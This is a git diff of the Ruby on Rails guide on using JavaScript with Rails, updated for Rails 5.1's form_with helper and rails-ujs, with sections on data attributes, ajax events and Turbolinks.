Working with JavaScript in Rails
================================
@@ -24,11 +24,11 @@ In order to understand Ajax, you must first understand what a web browser does
normally.
When you type `http://localhost:3000` into your browser's address bar and hit
-'Go,' the browser (your 'client') makes a request to the server. It parses the
+'Go', the browser (your 'client') makes a request to the server. It parses the
response, then fetches all associated assets, like JavaScript files,
stylesheets and images. It then assembles the page. If you click a link, it
does the same process: fetch the page, fetch the assets, put it all together,
-show you the results. This is called the 'request response cycle.'
+show you the results. This is called the 'request response cycle'.
JavaScript can also make requests to the server, and parse the response. It
also has the ability to update information on the page. Combining these two
@@ -57,7 +57,7 @@ will show you how Rails can help you write websites in this way, but it's
all built on top of this fairly simple technique.
Unobtrusive JavaScript
--------------------------------------
+----------------------
Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
JavaScript to the DOM. This is generally considered to be a best-practice
@@ -139,7 +139,9 @@ JavaScript) in this style, and you can expect that many libraries will also
follow this pattern.
Built-in Helpers
-----------------------
+----------------
+
+### Remote elements
Rails provides a bunch of view helper methods written in Ruby to assist you
in generating HTML. Sometimes, you want to add a little Ajax to those elements,
@@ -149,18 +151,22 @@ Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two
parts: the JavaScript half and the Ruby half.
Unless you have disabled the Asset Pipeline,
-[rails.js](https://github.com/rails/jquery-ujs/blob/master/src/rails.js)
+[rails-ujs](https://github.com/rails/rails/tree/master/actionview/app/assets/javascripts)
provides the JavaScript half, and the regular Ruby view helpers add appropriate
tags to your DOM.
-### form_for
+You can read below about the different events that are fired dealing with
+remote elements inside your application.
-[`form_for`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for)
-is a helper that assists with writing forms. `form_for` takes a `:remote`
-option. It works like this:
+#### form_with
+
+[`form_with`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with)
+is a helper that assists with writing forms. By default, `form_with` assumes that
+your form will be using Ajax. You can opt out of this behavior by
+passing the `:local` option `form_with`.
```erb
-<%= form_for(@article, remote: true) do |f| %>
+<%= form_with(model: @article) do |f| %>
...
<% end %>
```
@@ -168,7 +174,7 @@ option. It works like this:
This will generate the following HTML:
```html
-<form accept-charset="UTF-8" action="/articles" class="new_article" data-remote="true" id="new_article" method="post">
+<form action="/articles" accept-charset="UTF-8" method="post" data-remote="true">
...
</form>
```
@@ -182,39 +188,21 @@ bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
```coffeescript
$(document).ready ->
- $("#new_article").on("ajax:success", (e, data, status, xhr) ->
+ $("#new_article").on("ajax:success", (event) ->
+ [data, status, xhr] = event.detail
$("#new_article").append xhr.responseText
- ).on "ajax:error", (e, xhr, status, error) ->
+ ).on "ajax:error", (event) ->
$("#new_article").append "<p>ERROR</p>"
```
Obviously, you'll want to be a bit more sophisticated than that, but it's a
-start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax).
-
-### form_tag
-
-[`form_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag)
-is very similar to `form_for`. It has a `:remote` option that you can use like
-this:
-
-```erb
-<%= form_tag('/articles', remote: true) do %>
- ...
-<% end %>
-```
-
-This will generate the following HTML:
-
-```html
-<form accept-charset="UTF-8" action="/articles" data-remote="true" method="post">
- ...
-</form>
-```
+start.
-Everything else is the same as `form_for`. See its documentation for full
-details.
+NOTE: As of Rails 5.1 and the new `rails-ujs`, the parameters `data, status, xhr`
+have been bundled into `event.detail`. For information about the previously used
+`jquery-ujs` in Rails 5 and earlier, read the [`jquery-ujs` wiki](https://github.com/rails/jquery-ujs/wiki/ajax).
-### link_to
+#### link_to
[`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
is a helper that assists with generating links. It has a `:remote` option you
@@ -230,7 +218,7 @@ which generates
<a href="/articles/1" data-remote="true">an article</a>
```
-You can bind to the same Ajax events as `form_for`. Here's an example. Let's
+You can bind to the same Ajax events as `form_with`. Here's an example. Let's
assume that we have a list of articles that can be deleted with just one
click. We would generate some HTML like this:
@@ -242,11 +230,11 @@ and write some CoffeeScript like this:
```coffeescript
$ ->
- $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+ $("a[data-remote]").on "ajax:success", (event) ->
alert "The article was deleted."
```
-### button_to
+#### button_to
[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
@@ -262,7 +250,150 @@ this generates
</form>
```
-Since it's just a `<form>`, all of the information on `form_for` also applies.
+Since it's just a `<form>`, all of the information on `form_with` also applies.
+
+### Customize remote elements
+
+It is possible to customize the behavior of elements with a `data-remote`
+attribute without writing a line of JavaScript. You can specify extra `data-`
+attributes to accomplish this.
+
+#### `data-method`
+
+Activating hyperlinks always results in an HTTP GET request. However, if your
+application is [RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer),
+some links are in fact actions that change data on the server, and must be
+performed with non-GET requests. This attribute allows marking up such links
+with an explicit method such as "post", "put" or "delete".
+
+The way it works is that, when the link is activated, it constructs a hidden form
+in the document with the "action" attribute corresponding to "href" value of the
+link, and the method corresponding to `data-method` value, and submits that form.
+
+NOTE: Because submitting forms with HTTP methods other than GET and POST isn't
+widely supported across browsers, all other HTTP methods are actually sent over
+POST with the intended method indicated in the `_method` parameter. Rails
+automatically detects and compensates for this.
+
+#### `data-url` and `data-params`
+
+Certain elements of your page aren't actually referring to any URL, but you may want
+them to trigger Ajax calls. Specifying the `data-url` attribute along with
+the `data-remote` one will trigger an Ajax call to the given URL. You can also
+specify extra parameters through the `data-params` attribute.
+
+This can be useful to trigger an action on check-boxes for instance:
+
+```html
+<input type="checkbox" data-remote="true"
+ data-url="/update" data-params="id=10" data-method="put">
+```
+
+#### `data-type`
+
+It is also possible to define the Ajax `dataType` explicitly while performing
+requests for `data-remote` elements, by way of the `data-type` attribute.
+
+### Confirmations
+
+You can ask for an extra confirmation of the user by adding a `data-confirm`
+attribute on links and forms. The user will be presented a JavaScript `confirm()`
+dialog containing the attribute's text. If the user chooses to cancel, the action
+doesn't take place.
+
+Adding this attribute on links will trigger the dialog on click, and adding it
+on forms will trigger it on submit. For example:
+
+```erb
+<%= link_to "Dangerous zone", dangerous_zone_path,
+ data: { confirm: 'Are you sure?' } %>
+```
+
+This generates:
+
+```html
+<a href="..." data-confirm="Are you sure?">Dangerous zone</a>
+```
+
+The attribute is also allowed on form submit buttons. This allows you to customize
+the warning message depending on the button which was activated. In this case,
+you should **not** have `data-confirm` on the form itself.
+
+The default confirmation uses a JavaScript confirm dialog, but you can customize
+this by listening to the `confirm` event, which is fired just before the confirmation
+window appears to the user. To cancel this default confirmation, have the confirm
+handler to return `false`.
+
+### Automatic disabling
+
+It is also possible to automatically disable an input while the form is submitting
+by using the `data-disable-with` attribute. This is to prevent accidental
+double-clicks from the user, which could result in duplicate HTTP requests that
+the backend may not detect as such. The value of the attribute is the text that will
+become the new value of the button in its disabled state.
+
+This also works for links with `data-method` attribute.
+
+For example:
+
+```erb
+<%= form_with(model: @article.new) do |f| %>
+ <%= f.submit data: { "disable-with": "Saving..." } %>
+<%= end %>
+```
+
+This generates a form with:
+
+```html
+<input data-disable-with="Saving..." type="submit">
+```
+
+### Rails-ujs event handlers
+
+Rails 5.1 introduced rails-ujs and dropped jQuery as a dependency.
+As a result the Unobtrusive JavaScript (UJS) driver has been rewritten to operate without jQuery.
+These introductions cause small changes to `custom events` fired during the request:
+
+NOTE: Signature of calls to UJS's event handlers has changed.
+Unlike the version with jQuery, all custom events return only one parameter: `event`.
+In this parameter, there is an additional attribute `detail` which contains an array of extra parameters.
+
+| Event name | Extra parameters (event.detail) | Fired |
+|---------------------|---------------------------------|-------------------------------------------------------------|
+| `ajax:before` | | Before the whole ajax business. |
+| `ajax:beforeSend` | [xhr, options] | Before the request is sent. |
+| `ajax:send` | [xhr] | When the request is sent. |
+| `ajax:stopped` | | When the request is stopped. |
+| `ajax:success` | [response, status, xhr] | After completion, if the response was a success. |
+| `ajax:error` | [response, status, xhr] | After completion, if the response was an error. |
+| `ajax:complete` | [xhr, status] | After the request has been completed, no matter the outcome.|
+
+Example usage:
+
+```html
+document.body.addEventListener('ajax:success', function(event) {
+ var detail = event.detail;
+ var data = detail[0], status = detail[1], xhr = detail[2];
+})
+```
+
+NOTE: As of Rails 5.1 and the new `rails-ujs`, the parameters `data, status, xhr`
+have been bundled into `event.detail`. For information about the previously used
+`jquery-ujs` in Rails 5 and earlier, read the [`jquery-ujs` wiki](https://github.com/rails/jquery-ujs/wiki/ajax).
+
+### Stoppable events
+You can stop execution of the Ajax request by running `event.preventDefault()`
+from the handlers methods `ajax:before` or `ajax:beforeSend`.
+The `ajax:before` event can manipulate form data before serialization and the
+`ajax:beforeSend` event is useful for adding custom request headers.
+
+If you stop the `ajax:aborted:file` event, the default behavior of allowing the
+browser to submit the form via normal means (i.e. non-Ajax submission) will be
+canceled and the form will not be submitted at all. This is useful for
+implementing your own Ajax file upload workaround.
+
+Note, you should use `return false` to prevent event for `jquery-ujs` and
+`e.preventDefault()` for `rails-ujs`
Server-Side Concerns
--------------------
@@ -297,7 +428,7 @@ The index view (`app/views/users/index.html.erb`) contains:
<br>
-<%= form_for(@user, remote: true) do |f| %>
+<%= form_with(model: @user) do |f| %>
<%= f.label :name %><br>
<%= f.text_field :name %>
<%= f.submit %>
@@ -338,7 +469,7 @@ this:
end
```
-Notice the format.js in the `respond_to` block; that allows the controller to
+Notice the `format.js` in the `respond_to` block: that allows the controller to
respond to your Ajax request. You then have a corresponding
`app/views/users/create.js.erb` view file that generates the actual JavaScript
code that will be sent and executed on the client side.
@@ -355,7 +486,7 @@ which uses Ajax to speed up page rendering in most applications.
### How Turbolinks Works
-Turbolinks attaches a click handler to all `<a>` on the page. If your browser
+Turbolinks attaches a click handler to all `<a>` tags on the page. If your browser
supports
[PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState%28%29_method),
Turbolinks will make an Ajax request for the page, parse the response, and
@@ -363,7 +494,7 @@ replace the entire `<body>` of the page with the `<body>` of the response. It
will then use PushState to change the URL to the correct one, preserving
refresh semantics and giving you pretty URLs.
-The only thing you have to do to enable Turbolinks is have it in your Gemfile,
+The only thing you have to do to enable Turbolinks is have it in your `Gemfile`,
and put `//= require turbolinks` in your JavaScript manifest, which is usually
`app/assets/javascripts/application.js`.
@@ -385,7 +516,7 @@ $(document).ready ->
```
However, because Turbolinks overrides the normal page loading process, the
-event that this relies on will not be fired. If you have code that looks like
+event that this relies upon will not be fired. If you have code that looks like
this, you must change your code to do this instead:
```coffeescript
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
index 4671e040ca..f38b6c2639 100644
--- a/guides/w3c_validator.rb
+++ b/guides/w3c_validator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
# ---------------------------------------------------------------------------
#
# This script validates the generated guides against the W3C Validator.